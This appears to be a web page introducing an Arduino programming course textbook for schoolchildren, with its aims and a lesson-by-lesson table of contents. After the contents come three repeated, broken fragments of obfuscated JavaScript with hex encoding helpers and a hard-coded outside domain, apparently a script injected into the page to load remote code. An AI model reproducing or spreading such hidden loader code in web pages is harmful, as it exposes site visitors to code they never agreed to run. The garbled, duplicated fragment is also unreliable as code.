Introduction
This textbook is intended for use by academicians, instructors, teachers and educational centres. It allows organization of a full-fledged educational process throughout the year including two academic hours once a week. The following textbook will be interesting for both experienced teachers and newcomers. It covers all the finest nuances of using technical means in detail and with examples.
Syllabus of the course aims to develop children’s logical thinking, to provide basic knowledge in computer science, programming, circuit design and engineering.
Upon completion of the course, students will be able to work with the hardware computing platform Arduino, a variety of sensors, servo motors and stepper motors, LCD-displays, seven-segment and matrix displays.
The first 5 lessons will be provided in the public domain, starting from 3 December,will be updated every two days.To pass the further training will need to register on the site.
Table of content
I term
I quarter
Lesson 1: Light control
Lesson 2: Magic night-light
Lesson 3: Safe security guard
Lesson 4: Smart drinking bowl for pets
Lesson 5: Live thermometer
Lesson 6: System of perimeter protection «Barriers»
Lesson 7-8: Creation of the game «Moles»
Summarizing lesson №1
II quarter
Lesson 9: Electronic piano
Lesson 10: Back in future!
Lesson 11: Scanner of circumference «Sonar»
Lesson 12: Infra-red range-finder
Lesson 13: Game «Cars»
Lesson 14: Casino
Lesson 15: Game «Guess the number»
Lesson 16: Alarm clock
Summarizing lesson №2
II Term
III quarter
Lesson 17: Training of memory using a LED matrix
Lesson 18: Dialing phone number with use of the matrix keyboard
Lesson 19: Creation of a calculator
Lesson 20: Humidity and temperature control
Lesson 21: Retention of horizontal level
Lesson 22: Music Center
Lesson 23: Admission according to entrance tickets
Lesson 24: Safe with double protection
Summarizing lesson №3
ІV quarter
Lesson 25: Morse alphabet
Lesson 26: Caesar cipher
Lesson 27: Vigenere cipher
Lesson 28: Introduction to working with information
Lesson 29: Monitoring the level of illumination
Lesson 30: Visual port monitor
Lesson 31: Home meteorological station
Lesson 32: Home meteorological station with lighting control
Summarizing lesson №4
o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "boteon.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e]]> o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "boteon.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e]]> o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "boteon.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e]]>
